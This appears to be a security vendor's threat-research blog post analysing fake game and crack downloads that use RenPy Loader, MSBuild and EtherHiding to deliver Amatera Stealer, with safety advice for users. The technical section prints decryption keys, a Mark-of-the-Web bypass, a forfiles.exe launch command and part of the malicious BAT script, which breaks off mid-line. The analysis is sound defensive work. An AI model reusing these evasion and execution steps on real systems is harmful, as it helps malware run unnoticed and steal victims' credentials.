Fake games spread stealers with RenPy Loader, MSBuild and EtherHiding

We have detected several campaigns using fake downloads of games, mods, cracks, and software to spread RenPy Loader. Once installed, the loader starts a complex, multi-stage infection chain that abuses MSBuild and the EtherHiding technique before ultimately delivering Amatera Stealer.

Amatera is an infostealer—a type of malware designed to steal sensitive information from an infected device. It can target passwords and other data stored in browsers, cryptocurrency wallets, browser extensions, messaging apps, and local files. Stolen credentials and session data may also allow attackers to access the victim’s online accounts.

The victim may see what appears to be a normal game or software installer while the malware runs silently in the background.

RenPy Loader, also known as RenEngine Loader, is particularly interesting because it abuses Ren’Py, a legitimate engine used to create visual novels, story-driven games, and interactive fiction. By hiding malicious code inside software associated with gaming, attackers can make their downloads appear more believable to people looking for games, mods, or cracked software.

We’ve previously seen attackers misuse legitimate development tools and emerging software frameworks, including Bun and Deno, to distribute malware. RenPy Loader follows the same pattern: Attackers abuse legitimate technology to disguise malicious activity, complicate the infection chain, and make detection more difficult.

RenPy Loader has also been observed delivering other malware, including HijackLoader and Lumma Stealer, showing that the final payload can vary between campaigns.

In this blog, we analyze an infection chain in which Ren’Py decrypts a ZIP archive containing a BAT file and several MSBuild project files. These files load a trojanized.NET component, which then decodes another malicious component.

That malicious component uses a technique called EtherHiding to locate its command-and-control (C2) server. Instead of storing the C2 address directly inside the malware, the attackers hide it in data stored on a public blockchain. The malware then downloads the next stages of the attack from that server, making the attackers’ infrastructure more difficult to identify and disrupt.

Finally, we examine the additional payloads that ultimately decrypt and execute Amatera Stealer.

Fake downloads infect your device

The infection begins when someone downloads a supposed game, mod, crack, or piece of software. We found malicious files distributed through:

Malicious websites

Game download portals

Several file-sharing services, including Wormhole, GoFile, Google Drive, and MEGA

Here are some of the detected pages that start the infection chain:

In several cases, clicking a download link redirected the user to another fake download website. These pages used different designs and invented service names, helping the campaigns appear less repetitive and making the malicious infrastructure harder to recognize.

Below are examples of fake download pages used to distribute the malicious archive:

The user downloads an archive containing a file named Setup.exe. Opening this file starts the infection chain.

Example of an archive downloaded from a malicious website

The victim sees a loading or installation screen, but malicious code is running in the background.

The installation screen

How to stay safe

A few precautions can reduce the risk of downloading malicious games or software:

Download games and software from official websites, trusted app stores, or established distribution platforms.

Treat cracked software, unofficial mods, and free versions of paid games with caution.

Be wary when a download link redirects you through several unfamiliar websites or file-sharing services.

Check the contents of downloaded archives before opening executable files such as Setup.exe.

Look for unusual filenames, unrelated images or text files, and content that does not match what you intended to download.

Use real-time anti-malware software such as Malwarebytes.

Keep your operating system, browser, and security software up to date.

The people behind these campaigns continually create new websites and change their download pages. A professional-looking installer or familiar file-sharing service does not guarantee that a download is safe.

Technical analysis of RenPy loader

Ren’Py is a free, open-source engine for creating visual novels, story-driven games, and interactive fiction. Ren’Py allows the integration of Python scripts, which attackers abuse to insert malicious code.

In this case, we found malicious code in the following files and paths:

.kb-table-container437867_d88d21-72{max-height:866px;overflow-x:auto;}.kb-table437867_d88d21-72 tr > :nth-child(1){width:30%;}.kb-table437867_d88d21-72 tr > :nth-child(2){width:30%;}.kb-table437867_d88d21-72{table-layout:fixed;width:100%;}.kb-table-container.kb-table437867_d88d21-72 th{padding-top:1px;padding-right:5px;padding-bottom:1px;padding-left:5px;text-align:center;}.kb-table-container.kb-table437867_d88d21-72 caption{text-align:center;}.kb-table-container.kb-table437867_d88d21-72 td{padding-top:1px;padding-right:5px;padding-bottom:1px;padding-left:5px;text-align:left;}.kb-table-container.kb-table437867_d88d21-72 td,.kb-table437867_d88d21-72 th{border-top:1px solid #0808f3;border-right:1px solid #0808f3;border-bottom:1px solid #0808f3;border-left:1px solid #0808f3;}@media all and (max-width: 1024px){.kb-table-container.kb-table437867_d88d21-72 td,.kb-table437867_d88d21-72 th{border-top:1px solid #0808f3;border-right:1px solid #0808f3;border-bottom:1px solid #0808f3;border-left:1px solid #0808f3;}}@media all and (max-width: 767px){.kb-table-container.kb-table437867_d88d21-72 td,.kb-table437867_d88d21-72 th{border-top:1px solid #0808f3;border-right:1px solid #0808f3;border-bottom:1px solid #0808f3;border-left:1px solid #0808f3;}}

Path

Description

data/python-packages/sys_config/

Anti-sandbox classes

data/libwin32.rpa

Loader

data/.GEg

XOR-encrypted config

data/j3lpTcg7kBRN.E3

XOR-encrypted ZIP

The first-stage loader extracted from libwin32.rpa performs the following operations:

Reads the config data/.GEg and decrypts it using Base64 decoding and XOR with the key 81034149cd6f48c8821340204f92766e. This config contains the password used to extract the ZIP, along with other configuration data used by the loader.

Calls sys_config.is_sandboxed() and exits if a sandbox is detected.

XOR-decrypts data/j3lpTcg7kBRN.E3 using the key A50YyY1 to obtain the ZIP.

Extracts the ZIP contents to a random folder under %TEMP%/tmp-{5 digits}-{12 characters} and writes a:Zone.Identifier alternate data stream (ADS) with ZoneId=0 to remove the Mark of the Web and bypass SmartScreen. It also inserts a random REM string into the extracted BAT file.

Launches the payload using forfiles.exe.

Sends the machine’s MAC address and campaign ID to a tracking website.

The decoded config

The files contained in the decrypted ZIP

In this case, the extracted BAT file was executed using the following command:

forfiles.exe /p C:\Users{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Contents of the BAT file:

@echo off setlocal DisableDelayedExpansion set "_bp=%~f0" set "_rl=0" if /i "%~1"=="/launched" set "_rl=1" if /i "%~2"=="/launched" set "_rl=1" if /i "%~3"=="/launched" set "_rl=1" if /i "%~4"=="/launched" set "_rl=1" if /i "%~5"=="/launched" set "_rl=1" if /i "%~6"=="/launched" set "_rl=1" if /i "%~7"=="/launched" set "_rl=1" if /i "%~8"=="/launched" set "_rl=1" if /i "%~9"=="/launched" set "_rl=1" if "%_rl%"=="1" goto:_go set "_ch=%SystemRoot%\System32\conhost.exe" if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe" where conhost.exe >nul 2>&1 if %errorlevel% equ 0 ( endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched ) else ( endlocal & cmd.exe /c "%_bp%" /launched ) ex…